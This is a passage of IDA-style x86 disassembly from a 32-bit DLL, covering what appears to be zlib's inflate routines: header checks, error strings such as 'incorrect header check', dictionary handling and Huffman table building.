0FFFFFFFEh jmp short loc_10004110 ; --------------------------------------------------------------------------- loc_100040C8: ; CODE XREF: sub_1000400C+ACj mov ecx, esi mov eax, 1 shl eax, cl mov edi, [ebx+1Ch] mov ecx, eax mov [edi+10h], esi cmp dword ptr [edi+0Ch], 0 jz short loc_100040E3 xor edx, edx jmp short loc_100040E8 ; --------------------------------------------------------------------------- loc_100040E3: ; CODE XREF: sub_1000400C+D1j mov edx, offset sub_10004D50 loc_100040E8: ; CODE XREF: sub_1000400C+D5j mov eax, ebx call sub_10004EE0 mov ecx, [ebx+1Ch] test eax, eax mov [ecx+14h], eax jnz short loc_10004107 mov eax, ebx call sub_10003FCC mov eax, 0FFFFFFFCh jmp short loc_10004110 ; --------------------------------------------------------------------------- loc_10004107: ; CODE XREF: sub_1000400C+EBj mov eax, ebx call sub_10003F84 xor eax, eax loc_10004110: ; CODE XREF: sub_1000400C+2Cj ; sub_1000400C+3Aj ... pop edi pop esi pop ebx pop ecx pop ebp retn 4 sub_1000400C endp ; =============== S U B R O U T I N E ======================================= sub_10004118 proc near ; CODE XREF: sub_10003E38+8Fp push ecx mov ecx, 0Fh xchg ecx, edx call sub_1000400C retn sub_10004118 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10004128 proc near ; CODE XREF: sub_10003E38+D4p push ebx push esi push edi push ebp mov edi, edx mov ebx, eax test ebx, ebx jz short loc_1000413F cmp dword ptr [ebx+1Ch], 0 jz short loc_1000413F cmp dword ptr [ebx], 0 jnz short loc_10004149 loc_1000413F: ; CODE XREF: sub_10004128+Aj ; sub_10004128+10j mov eax, 0FFFFFFFEh jmp loc_100044EF ; --------------------------------------------------------------------------- loc_10004149: ; CODE XREF: sub_10004128+15j mov edx, 0FFFFFFFBh cmp edi, 4 jz short loc_10004156 add edx, 5 loc_10004156: ; CODE XREF: sub_10004128+29j mov edi, edx mov esi, 0FFFFFFFBh loc_1000415D: ; CODE XREF: sub_10004128+C6j ; sub_10004128+F3j ... mov eax, [ebx+1Ch] mov edx, [eax] cmp edx, 0Dh ; switch 14 cases ja loc_100044EA ; default jmp off_10004172[edx*4] ; switch jump ; --------------------------------------------------------------------------- off_10004172 dd offset loc_100041AA ; DATA XREF: sub_10004128+43r dd offset loc_10004229 ; jump table for switch statement dd offset loc_1000429D dd offset loc_100042CB dd offset loc_100042FC dd offset loc_1000432D dd offset loc_1000436C dd offset loc_1000438E dd offset loc_100043FA dd offset loc_10004428 dd offset loc_10004459 dd offset loc_1000448A dd offset loc_100044DC dd offset loc_100044E3 ; --------------------------------------------------------------------------- loc_100041AA: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o cmp dword ptr [ebx+4], 0 ; jumptable 1000416B case 0 jnz short loc_100041B7 mov eax, esi jmp loc_100044EF ; --------------------------------------------------------------------------- loc_100041B7: ; CODE XREF: sub_10004128+86j mov esi, edi dec dword ptr [ebx+4] inc dword ptr [ebx+8] mov edx, [ebx] inc dword ptr [ebx] mov cl, [edx] xor edx, edx mov dl, cl mov eax, [ebx+1Ch] mov [eax+4], edx and edx, 0Fh cmp edx, 8 jz short loc_100041F3 mov dword ptr [eax], 0Dh mov dword ptr [ebx+18h], offset aUnknownCompres ; "unknown compression method" mov eax, [ebx+1Ch] mov dword ptr [eax+4], 5 jmp loc_1000415D ; --------------------------------------------------------------------------- loc_100041F3: ; CODE XREF: sub_10004128+ADj mov eax, [ebx+1Ch] mov edx, [eax+4] shr edx, 4 add edx, 8 cmp edx, [eax+10h] jbe short loc_10004220 mov dword ptr [eax], 0Dh mov dword ptr [ebx+18h], offset aInvalidWindowS ; "invalid window size" mov ecx, [ebx+1Ch] mov dword ptr [ecx+4], 5 jmp loc_1000415D ; --------------------------------------------------------------------------- loc_10004220: ; CODE XREF: sub_10004128+DAj mov eax, [ebx+1Ch] mov dword ptr [eax], 1 loc_10004229: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o cmp dword ptr [ebx+4], 0 ; jumptable 1000416B case 1 jnz short loc_10004236 mov eax, esi jmp loc_100044EF ; --------------------------------------------------------------------------- loc_10004236: ; CODE XREF: sub_10004128+105j dec dword ptr [ebx+4] inc dword ptr [ebx+8] xor edx, edx mov eax, [ebx] mov esi, edi inc dword ptr [ebx] mov ebp, [ebx+1Ch] mov cl, [eax] and ecx, 0FFh mov eax, [ebp+4] shl eax, 8 push ecx add eax, ecx mov ecx, 1Fh div ecx pop ecx test edx, edx jz short loc_10004281 mov dword ptr [ebp+0], 0Dh mov dword ptr [ebx+18h], offset aIncorrectHeade ; "incorrect header check" mov ecx, [ebx+1Ch] mov dword ptr [ecx+4], 5 jmp loc_1000415D ; --------------------------------------------------------------------------- loc_10004281: ; CODE XREF: sub_10004128+13Aj test cl, 20h jnz short loc_10004294 mov eax, [ebx+1Ch] mov dword ptr [eax], 7 jmp loc_1000415D ; --------------------------------------------------------------------------- loc_10004294: ; CODE XREF: sub_10004128+15Cj mov edx, [ebx+1Ch] mov dword ptr [edx], 2 loc_1000429D: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o cmp dword ptr [ebx+4], 0 ; jumptable 1000416B case 2 jnz short loc_100042AA mov eax, esi jmp loc_100044EF ; --------------------------------------------------------------------------- loc_100042AA: ; CODE XREF: sub_10004128+179j mov esi, edi dec dword ptr [ebx+4] inc dword ptr [ebx+8] mov edx, [ebx] inc dword ptr [ebx] mov cl, [edx] xor edx, edx mov dl, cl shl edx, 18h mov eax, [ebx+1Ch] mov [eax+8], edx mov dword ptr [eax], 3 loc_100042CB: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o cmp dword ptr [ebx+4], 0 ; jumptable 1000416B case 3 jnz short loc_100042D8 mov eax, esi jmp loc_100044EF ; --------------------------------------------------------------------------- loc_100042D8: ; CODE XREF: sub_10004128+1A7j dec dword ptr [ebx+4] inc dword ptr [ebx+8] xor ecx, ecx mov eax, [ebx] mov esi, edi inc dword ptr [ebx] mov dl, [eax] mov eax, [ebx+1Ch] mov cl, dl shl ecx, 10h add [eax+8], ecx mov edx, [ebx+1Ch] mov dword ptr [edx], 4 loc_100042FC: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o cmp dword ptr [ebx+4], 0 ; jumptable 1000416B case 4 jnz short loc_10004309 mov eax, esi jmp loc_100044EF ; --------------------------------------------------------------------------- loc_10004309: ; CODE XREF: sub_10004128+1D8j dec dword ptr [ebx+4] inc dword ptr [ebx+8] xor ecx, ecx mov eax, [ebx] mov esi, edi inc dword ptr [ebx] mov dl, [eax] mov eax, [ebx+1Ch] mov cl, dl shl ecx, 8 add [eax+8], ecx mov edx, [ebx+1Ch] mov dword ptr [edx], 5 loc_1000432D: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o cmp dword ptr [ebx+4], 0 ; jumptable 1000416B case 5 jnz short loc_1000433A mov eax, esi jmp loc_100044EF ; --------------------------------------------------------------------------- loc_1000433A: ; CODE XREF: sub_10004128+209j dec dword ptr [ebx+4] inc dword ptr [ebx+8] xor eax, eax mov edx, [ebx] inc dword ptr [ebx] mov cl, [edx] mov edx, [ebx+1Ch] mov al, cl add [edx+8], eax mov ecx, [ebx+1Ch] mov eax, [ecx+8] mov [ebx+30h], eax mov eax, 2 mov edx, [ebx+1Ch] mov dword ptr [edx], 6 jmp loc_100044EF ; --------------------------------------------------------------------------- loc_1000436C: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o mov edx, [ebx+1Ch] ; jumptable 1000416B case 6 mov dword ptr [edx], 0Dh mov dword ptr [ebx+18h], offset aNeedDictionary ; "need dictionary" mov ecx, [ebx+1Ch] xor eax, eax mov [ecx+4], eax mov eax, 0FFFFFFFEh jmp loc_100044EF ; --------------------------------------------------------------------------- loc_1000438E: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o mov edx, [ebx+1Ch] ; jumptable 1000416B case 7 mov eax, [edx+14h] mov ecx, esi mov edx, ebx call sub_10004F78 mov esi, eax cmp esi, 0FFFFFFFDh jnz short loc_100043B7 mov eax, [ebx+1Ch] mov dword ptr [eax], 0Dh xor edx, edx mov [eax+4], edx jmp loc_1000415D ; --------------------------------------------------------------------------- loc_100043B7: ; CODE XREF: sub_10004128+27Aj test esi, esi jnz short loc_100043BD mov esi, edi loc_100043BD: ; CODE XREF: sub_10004128+291j cmp esi, 1 jz short loc_100043C9 mov eax, esi jmp loc_100044EF ; --------------------------------------------------------------------------- loc_100043C9: ; CODE XREF: sub_10004128+298j mov esi, edi mov eax, [ebx+1Ch] mov ecx, eax add ecx, 4 mov eax, [eax+14h] mov edx, ebx call sub_10004E7C mov eax, [ebx+1Ch] cmp dword ptr [eax+0Ch], 0 jz short loc_100043F1 mov dword ptr [eax], 0Ch jmp loc_1000415D ; --------------------------------------------------------------------------- loc_100043F1: ; CODE XREF: sub_10004128+2BCj mov edx, [ebx+1Ch] mov dword ptr [edx], 8 loc_100043FA: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o cmp dword ptr [ebx+4], 0 ; jumptable 1000416B case 8 jnz short loc_10004407 mov eax, esi jmp loc_100044EF ; --------------------------------------------------------------------------- loc_10004407: ; CODE XREF: sub_10004128+2D6j mov esi, edi dec dword ptr [ebx+4] inc dword ptr [ebx+8] mov edx, [ebx] inc dword ptr [ebx] mov cl, [edx] xor edx, edx mov dl, cl shl edx, 18h mov eax, [ebx+1Ch] mov [eax+8], edx mov dword ptr [eax], 9 loc_10004428: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o cmp dword ptr [ebx+4], 0 ; jumptable 1000416B case 9 jnz short loc_10004435 mov eax, esi jmp loc_100044EF ; --------------------------------------------------------------------------- loc_10004435: ; CODE XREF: sub_10004128+304j dec dword ptr [ebx+4] inc dword ptr [ebx+8] xor ecx, ecx mov eax, [ebx] mov esi, edi inc dword ptr [ebx] mov dl, [eax] mov eax, [ebx+1Ch] mov cl, dl shl ecx, 10h add [eax+8], ecx mov edx, [ebx+1Ch] mov dword ptr [edx], 0Ah loc_10004459: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o cmp dword ptr [ebx+4], 0 ; jumptable 1000416B case 10 jnz short loc_10004466 mov eax, esi jmp loc_100044EF ; --------------------------------------------------------------------------- loc_10004466: ; CODE XREF: sub_10004128+335j dec dword ptr [ebx+4] inc dword ptr [ebx+8] xor ecx, ecx mov eax, [ebx] mov esi, edi inc dword ptr [ebx] mov dl, [eax] mov eax, [ebx+1Ch] mov cl, dl shl ecx, 8 add [eax+8], ecx mov edx, [ebx+1Ch] mov dword ptr [edx], 0Bh loc_1000448A: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o cmp dword ptr [ebx+4], 0 ; jumptable 1000416B case 11 jnz short loc_10004494 mov eax, esi jmp short loc_100044EF ; --------------------------------------------------------------------------- loc_10004494: ; CODE XREF: sub_10004128+366j dec dword ptr [ebx+4] inc dword ptr [ebx+8] xor ecx, ecx mov eax, [ebx] mov esi, edi inc dword ptr [ebx] mov dl, [eax] mov eax, [ebx+1Ch] mov cl, dl add [eax+8], ecx mov eax, [ebx+1Ch] mov edx, [eax+4] cmp edx, [eax+8] jz short loc_100044D3 mov dword ptr [eax], 0Dh mov dword ptr [ebx+18h], offset aIncorrectDataC ; "incorrect data check" mov ecx, [ebx+1Ch] mov dword ptr [ecx+4], 5 jmp loc_1000415D ; --------------------------------------------------------------------------- loc_100044D3: ; CODE XREF: sub_10004128+38Dj mov eax, [ebx+1Ch] mov dword ptr [eax], 0Ch loc_100044DC: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o mov eax, 1 ; jumptable 1000416B case 12 jmp short loc_100044EF ; --------------------------------------------------------------------------- loc_100044E3: ; CODE XREF: sub_10004128+43j ; DATA XREF: sub_10004128:off_10004172o mov eax, 0FFFFFFFDh ; jumptable 1000416B case 13 jmp short loc_100044EF ; --------------------------------------------------------------------------- loc_100044EA: ; CODE XREF: sub_10004128+3Dj mov eax, 0FFFFFFFEh ; default loc_100044EF: ; CODE XREF: sub_10004128+1Cj ; sub_10004128+8Aj ... pop ebp pop edi pop esi pop ebx retn sub_10004128 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push ebp mov ebp, ecx mov edi, edx mov ebx, eax mov esi, ebp test ebx, ebx jz short loc_10004512 cmp dword ptr [ebx+1Ch], 0 jz short loc_10004512 mov eax, [ebx+1Ch] cmp dword ptr [eax], 6 jz short loc_10004519 loc_10004512: ; CODE XREF: CODE:10004502j ; CODE:10004508j mov eax, 0FFFFFFFEh jmp short loc_10004574 ; --------------------------------------------------------------------------- loc_10004519: ; CODE XREF: CODE:10004510j mov ecx, ebp mov edx, edi mov eax, 1 call sub_10004D50 cmp eax, [ebx+30h] jz short loc_10004533 mov eax, 0FFFFFFFDh jmp short loc_10004574 ; --------------------------------------------------------------------------- loc_10004533: ; CODE XREF: CODE:1000452Aj mov dword ptr [ebx+30h], 1 mov eax, [ebx+1Ch] mov ecx, [eax+10h] mov edx, 1 shl edx, cl cmp esi, edx jb short loc_1000455D mov edx, [ebx+1Ch] mov ecx, [edx+10h] mov esi, 1 shl esi, cl dec esi sub ebp, esi add edi, ebp loc_1000455D: ; CODE XREF: CODE:10004549j mov eax, [eax+14h] mov ecx, esi mov edx, edi call sub_10005C70 mov eax, [ebx+1Ch] mov dword ptr [eax], 7 xor eax, eax loc_10004574: ; CODE XREF: CODE:10004517j ; CODE:10004531j pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 push ebx push esi push edi mov ebx, eax test ebx, ebx jz short loc_1000458B cmp dword ptr [ebx+1Ch], 0 jnz short loc_10004595 loc_1000458B: ; CODE XREF: CODE:10004583j mov eax, 0FFFFFFFEh jmp loc_10004625 ; --------------------------------------------------------------------------- loc_10004595: ; CODE XREF: CODE:10004589j mov eax, [ebx+1Ch] cmp dword ptr [eax], 0Dh jz short loc_100045A8 mov dword ptr [eax], 0Dh xor edx, edx mov [eax+4], edx loc_100045A8: ; CODE XREF: CODE:1000459Bj mov esi, [ebx+4] test esi, esi jnz short loc_100045B6 mov eax, 0FFFFFFFBh jmp short loc_10004625 ; --------------------------------------------------------------------------- loc_100045B6: ; CODE XREF: CODE:100045ADj mov edi, [ebx] mov eax, [ebx+1Ch] mov eax, [eax+4] jmp short loc_100045E0 ; --------------------------------------------------------------------------- loc_100045C0: ; CODE XREF: CODE:100045E7j mov dl, [edi] cmp dl, ds:byte_100084A0[eax] jnz short loc_100045CD inc eax jmp short loc_100045DE ; --------------------------------------------------------------------------- loc_100045CD: ; CODE XREF: CODE:100045C8j test dl, dl jz short loc_100045D5 xor eax, eax jmp short loc_100045DE ; --------------------------------------------------------------------------- loc_100045D5: ; CODE XREF: CODE:100045CFj mov edx, 4 sub edx, eax mov eax, edx loc_100045DE: ; CODE XREF: CODE:100045CBj ; CODE:100045D3j inc edi dec esi loc_100045E0: ; CODE XREF: CODE:100045BEj test esi, esi jz short loc_100045E9 cmp eax, 4 jb short loc_100045C0 loc_100045E9: ; CODE XREF: CODE:100045E2j mov ecx, edi sub ecx, [ebx] add [ebx+8], ecx mov [ebx], edi mov [ebx+4], esi cmp eax, 4 mov edx, [ebx+1Ch] mov [edx+4], eax jz short loc_10004607 mov eax, 0FFFFFFFDh jmp short loc_10004625 ; --------------------------------------------------------------------------- loc_10004607: ; CODE XREF: CODE:100045FEj mov esi, [ebx+8] mov edi, [ebx+14h] mov eax, ebx call sub_10003F84 mov [ebx+8], esi mov [ebx+14h], edi mov edx, [ebx+1Ch] xor eax, eax mov dword ptr [edx], 7 loc_10004625: ; CODE XREF: CODE:10004590j ; CODE:100045B4j ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 test eax, eax jz short loc_1000463F cmp dword ptr [eax+1Ch], 0 jz short loc_1000463F mov edx, [eax+1Ch] cmp dword ptr [edx+14h], 0 jnz short loc_10004645 loc_1000463F: ; CODE XREF: CODE:1000462Ej ; CODE:10004634j mov eax, 0FFFFFFFEh retn ; --------------------------------------------------------------------------- loc_10004645: ; CODE XREF: CODE:1000463Dj mov ecx, [eax+1Ch] mov eax, [ecx+14h] call sub_10005C94 retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10004654 proc near ; CODE XREF: sub_10004B48+5Ap ; sub_10004BE4+63p ... var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h var_C8 = dword ptr -0C8h var_8C = dword ptr -8Ch var_88 = byte ptr -88h var_50 = byte ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp add esp, 0FFFFFEF8h push ebx push esi mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax lea eax, [ebp+var_8C] mov [ebp+var_28], eax mov edx, [ebp+var_28] xor ecx, ecx mov [edx], ecx add [ebp+var_28], 4 mov eax, [ebp+var_28] xor edx, edx mov [eax], edx add [ebp+var_28], 4 mov ecx, [ebp+var_28] xor eax, eax mov [ecx], eax add [ebp+var_28], 4 mov edx, [ebp+var_28] xor ecx, ecx mov [edx], ecx add [ebp+var_28], 4 mov eax, [ebp+var_28] xor edx, edx mov [eax], edx add [ebp+var_28], 4 mov ecx, [ebp+var_28] xor eax, eax mov [ecx], eax add [ebp+var_28], 4 mov edx, [ebp+var_28] xor ecx, ecx mov [edx], ecx add [ebp+var_28], 4 mov eax, [ebp+var_28] xor edx, edx mov [eax], edx add [ebp+var_28], 4 mov ecx, [ebp+var_28] xor eax, eax mov [ecx], eax add [ebp+var_28], 4 mov edx, [ebp+var_28] xor ecx, ecx mov [edx], ecx add [ebp+var_28], 4 mov eax, [ebp+var_28] xor edx, edx mov [eax], edx add [ebp+var_28], 4 mov ecx, [ebp+var_28] xor eax, eax mov [ecx], eax add [ebp+var_28], 4 mov edx, [ebp+var_28] xor ecx, ecx mov [edx], ecx add [ebp+var_28], 4 mov eax, [ebp+var_28] xor edx, edx mov [eax], edx add [ebp+var_28], 4 mov ecx, [ebp+var_28] xor eax, eax mov [ecx], eax add [ebp+var_28], 4 mov edx, [ebp+var_28] xor ecx, ecx mov [edx], ecx mov eax, [ebp+var_4] mov [ebp+var_28], eax mov edx, [ebp+var_8] mov [ebp+var_1C], edx loc_10004729: ; CODE XREF: sub_10004654+E8j mov ecx, [ebp+var_28] mov eax, [ecx] inc [ebp+eax*4+var_8C] add [ebp+var_28], 4 dec [ebp+var_1C] jnz short loc_10004729 mov edx, [ebp+var_8C] cmp edx, [ebp+var_8] jnz short loc_1000475E mov ecx, [ebp+arg_10] xor eax, eax mov [ecx], eax xor ecx, ecx mov edx, [ebp+arg_C] xor eax, eax mov [edx], ecx jmp loc_10004B3F ; --------------------------------------------------------------------------- loc_1000475E: ; CODE XREF: sub_10004654+F3j mov edx, [ebp+arg_C] mov eax, 1 mov ecx, [edx] lea edx, [ebp+var_88] mov [ebp+var_24], ecx mov [ebp+var_40], edx loc_10004774: ; CODE XREF: sub_10004654+130j mov ecx, [ebp+var_40] cmp dword ptr [ecx], 0 jnz short loc_10004786 inc eax add [ebp+var_40], 4 cmp eax, 0Fh jbe short loc_10004774 loc_10004786: ; CODE XREF: sub_10004654+126j mov [ebp+var_20], eax cmp eax, [ebp+var_24] jbe short loc_10004791 mov [ebp+var_24], eax loc_10004791: ; CODE XREF: sub_10004654+138j mov [ebp+var_1C], 0Fh lea edx, [ebp+var_50] mov [ebp+var_44], edx loc_1000479E: ; CODE XREF: sub_10004654+15Dj mov ecx, [ebp+var_44] cmp dword ptr [ecx], 0 jnz short loc_100047B3 dec [ebp+var_1C] add [ebp+var_44], 0FFFFFFFCh cmp [ebp+var_1C], 0 jnz short loc_1000479E loc_100047B3: ; CODE XREF: sub_10004654+150j mov edx, [ebp+var_1C] mov [ebp+var_14], edx mov ecx, [ebp+var_24] cmp ecx, [ebp+var_1C] jbe short loc_100047C7 mov edx, [ebp+var_1C] mov [ebp+var_24], edx loc_100047C7: ; CODE XREF: sub_10004654+16Bj mov ecx, [ebp+arg_C] mov edx, [ebp+var_24] mov [ecx], edx mov ecx, eax mov edx, 1 shl edx, cl mov [ebp+var_3C], edx lea ecx, [ebp+eax*4+var_8C] mov [ebp+var_44], ecx cmp eax, [ebp+var_1C] jnb short loc_10004810 loc_100047EA: ; CODE XREF: sub_10004654+1BAj mov edx, [ebp+var_44] mov ecx, [ebp+var_3C] sub ecx, [edx] mov [ebp+var_3C], ecx test ecx, ecx jge short loc_10004803 mov eax, 0FFFFFFFDh jmp loc_10004B3F ; --------------------------------------------------------------------------- loc_10004803: ; CODE XREF: sub_10004654+1A3j add [ebp+var_44], 4 shl [ebp+var_3C], 1 inc eax cmp eax, [ebp+var_1C] jb short loc_100047EA loc_10004810: ; CODE XREF: sub_10004654+194j mov edx, [ebp+var_1C] mov eax, [ebp+var_3C] sub eax, [ebp+edx*4+var_8C] mov [ebp+var_3C], eax test eax, eax jge short loc_1000482E mov eax, 0FFFFFFFDh jmp loc_10004B3F ; --------------------------------------------------------------------------- loc_1000482E: ; CODE XREF: sub_10004654+1CEj mov edx, [ebp+var_1C] mov ecx, [ebp+var_3C] add [ebp+edx*4+var_8C], ecx xor edx, edx mov [ebp+var_104], edx lea ecx, [ebp+var_88] mov [ebp+var_28], ecx lea ecx, [ebp+var_100] mov eax, edx jmp short loc_10004864 ; --------------------------------------------------------------------------- loc_10004856: ; CODE XREF: sub_10004654+213j mov edx, [ebp+var_28] add [ebp+var_28], 4 add eax, [edx] mov [ecx], eax add ecx, 4 loc_10004864: ; CODE XREF: sub_10004654+200j dec [ebp+var_1C] jnz short loc_10004856 mov eax, [ebp+var_4] mov [ebp+var_28], eax xor eax, eax mov [ebp+var_1C], eax loc_10004874: ; CODE XREF: sub_10004654+24Dj mov edx, [ebp+var_28] add [ebp+var_28], 4 mov eax, [edx] test eax, eax jz short loc_10004898 mov ecx, [ebp+eax*4+var_108] inc [ebp+eax*4+var_108] mov eax, [ebp+arg_0] mov edx, [ebp+var_1C] mov [eax+ecx*4], edx loc_10004898: ; CODE XREF: sub_10004654+22Bj inc [ebp+var_1C] mov ecx, [ebp+var_1C] cmp ecx, [ebp+var_8] jb short loc_10004874 mov eax, [ebp+var_14] mov edx, [ebp+eax*4+var_108] mov [ebp+var_8], edx xor ecx, ecx mov [ebp+var_1C], ecx mov [ebp+var_108], ecx mov eax, [ebp+arg_0] mov [ebp+var_28], eax mov [ebp+var_18], 0FFFFFFFFh mov edx, [ebp+var_24] neg edx mov [ebp+var_38], edx xor eax, eax mov [ebp+var_C8], eax xor edx, edx mov [ebp+var_2C], edx xor esi, esi mov eax, [ebp+var_20] lea edx, [ebp+eax*4+var_8C] mov [ebp+var_44], edx mov ecx, [ebp+var_20] cmp ecx, [ebp+var_14] jg loc_10004B2B loc_100048F8: ; CODE XREF: sub_10004654+4D1j mov eax, [ebp+var_44] mov edx, [eax] mov [ebp+var_10], edx jmp loc_10004B09 ; --------------------------------------------------------------------------- loc_10004905: ; CODE XREF: sub_10004654+4BEj mov ecx, [ebp+var_18] lea eax, [ebp+ecx*4+var_108] mov [ebp+var_4C], eax mov edx, [ebp+var_18] lea ecx, [ebp+edx*4+var_C8] mov [ebp+var_48], ecx jmp loc_10004A10 ; --------------------------------------------------------------------------- loc_10004924: ; CODE XREF: sub_10004654+3C5j inc [ebp+var_18] add [ebp+var_4C], 4 add [ebp+var_48], 4 mov eax, [ebp+var_24] add [ebp+var_38], eax mov esi, [ebp+var_14] sub esi, [ebp+var_38] cmp esi, [ebp+var_24] jbe short loc_10004945 mov eax, [ebp+var_24] jmp short loc_10004947 ; --------------------------------------------------------------------------- loc_10004945: ; CODE XREF: sub_10004654+2EAj mov eax, esi loc_10004947: ; CODE XREF: sub_10004654+2EFj mov esi, eax mov eax, [ebp+var_20] sub eax, [ebp+var_38] mov edx, 1 mov ecx, eax mov ebx, [ebp+var_10] shl edx, cl inc ebx cmp edx, ebx jbe short loc_10004986 sub edx, ebx mov ecx, [ebp+var_20] shl ecx, 2 lea ebx, [ebp+var_8C] add ecx, ebx cmp esi, eax jbe short loc_10004986 jmp short loc_10004981 ; --------------------------------------------------------------------------- loc_10004976: ; CODE XREF: sub_10004654+330j add edx, edx add ecx, 4 cmp edx, [ecx] jbe short loc_10004986 sub edx, [ecx] loc_10004981: ; CODE XREF: sub_10004654+320j inc eax cmp esi, eax ja short loc_10004976 loc_10004986: ; CODE XREF: sub_10004654+30Aj ; sub_10004654+31Ej ... mov ecx, eax mov esi, 1 shl esi, cl mov edx, [ebp+arg_4] mov edx, [edx] mov ecx, edx add ecx, esi cmp ecx, 5A0h jbe short loc_100049AA mov eax, 0FFFFFFFCh jmp loc_10004B3F ; --------------------------------------------------------------------------- loc_100049AA: ; CODE XREF: sub_10004654+34Aj shl edx, 3 add edx, [ebp+arg_8] mov [ebp+var_2C], edx mov ecx, [ebp+var_48] mov [ecx], edx mov edx, [ebp+arg_4] add [edx], esi cmp [ebp+var_18], 0 jz short loc_10004A08 mov ecx, [ebp+var_4C] mov edx, [ebp+var_1C] mov [ecx], edx mov cl, byte ptr [ebp+var_24] mov byte ptr [ebp+var_34+1], cl mov byte ptr [ebp+var_34], al mov ecx, [ebp+var_38] sub ecx, [ebp+var_24] mov eax, [ebp+var_1C] shr eax, cl mov edx, [ebp+var_48] mov edx, [edx-4] mov ecx, [ebp+var_2C] sub ecx, edx test ecx, ecx jns short loc_100049F1 add ecx, 7 loc_100049F1: ; CODE XREF: sub_10004654+398j sar ecx, 3 sub ecx, eax mov [ebp+var_30], ecx mov ecx, [ebp+var_34] mov [edx+eax*8], ecx mov ecx, [ebp+var_30] mov [edx+eax*8+4], ecx jmp short loc_10004A10 ; --------------------------------------------------------------------------- loc_10004A08: ; CODE XREF: sub_10004654+36Dj mov eax, [ebp+arg_10] mov edx, [ebp+var_2C] mov [eax], edx loc_10004A10: ; CODE XREF: sub_10004654+2CBj ; sub_10004654+3B2j mov eax, [ebp+var_38] add eax, [ebp+var_24] cmp eax, [ebp+var_20] jl loc_10004924 mov dl, byte ptr [ebp+var_20] sub dl, byte ptr [ebp+var_38] mov byte ptr [ebp+var_34+1], dl mov ecx, [ebp+var_8] shl ecx, 2 add ecx, [ebp+arg_0] cmp ecx, [ebp+var_28] ja short loc_10004A3C mov byte ptr [ebp+var_34], 0C0h jmp short loc_10004A84 ; --------------------------------------------------------------------------- loc_10004A3C: ; CODE XREF: sub_10004654+3E0j mov eax, [ebp+var_28] mov eax, [eax] cmp eax, [ebp+var_C] jnb short loc_10004A63 xor edx, edx cmp eax, 100h jb short loc_10004A52 add edx, 60h loc_10004A52: ; CODE XREF: sub_10004654+3F9j mov byte ptr [ebp+var_34], dl mov ecx, [ebp+var_28] mov eax, [ecx] mov [ebp+var_30], eax add [ebp+var_28], 4 jmp short loc_10004A84 ; --------------------------------------------------------------------------- loc_10004A63: ; CODE XREF: sub_10004654+3F0j mov edx, [ebp+var_28] mov eax, [edx] sub eax, [ebp+var_C] mov edx, [ebp+arg_14] mov cl, [edx+eax*4] add cl, 50h mov byte ptr [ebp+var_34], cl mov edx, [ebp+arg_18] mov eax, [edx+eax*4] mov [ebp+var_30], eax add [ebp+var_28], 4 loc_10004A84: ; CODE XREF: sub_10004654+3E6j ; sub_10004654+40Dj mov ecx, [ebp+var_20] sub ecx, [ebp+var_38] mov edx, 1 shl edx, cl mov ecx, [ebp+var_38] mov eax, [ebp+var_1C] shr eax, cl cmp esi, eax jbe short loc_10004AB3 loc_10004A9D: ; CODE XREF: sub_10004654+45Dj mov ecx, [ebp+var_2C] mov ebx, [ebp+var_34] mov [ecx+eax*8], ebx mov ebx, [ebp+var_30] mov [ecx+eax*8+4], ebx add eax, edx cmp esi, eax ja short loc_10004A9D loc_10004AB3: ; CODE XREF: sub_10004654+447j mov ecx, [ebp+var_20] dec ecx mov eax, 1 shl eax, cl jmp short loc_10004AC5 ; --------------------------------------------------------------------------- loc_10004AC0: ; CODE XREF: sub_10004654+474j xor [ebp+var_1C], eax shr eax, 1 loc_10004AC5: ; CODE XREF: sub_10004654+46Aj test [ebp+var_1C], eax jnz short loc_10004AC0 xor [ebp+var_1C], eax mov eax, 1 mov ecx, [ebp+var_38] mov edx, [ebp+var_18] shl eax, cl lea edx, [ebp+edx*4+var_108] dec eax mov [ebp+var_4C], edx jmp short loc_10004AFF ; --------------------------------------------------------------------------- loc_10004AE7: ; CODE XREF: sub_10004654+4B3j dec [ebp+var_18] add [ebp+var_4C], 0FFFFFFFCh mov eax, [ebp+var_24] sub [ebp+var_38], eax mov ecx, [ebp+var_38] mov eax, 1 shl eax, cl dec eax loc_10004AFF: ; CODE XREF: sub_10004654+491j and eax, [ebp+var_1C] mov edx, [ebp+var_4C] cmp eax, [edx] jnz short loc_10004AE7 loc_10004B09: ; CODE XREF: 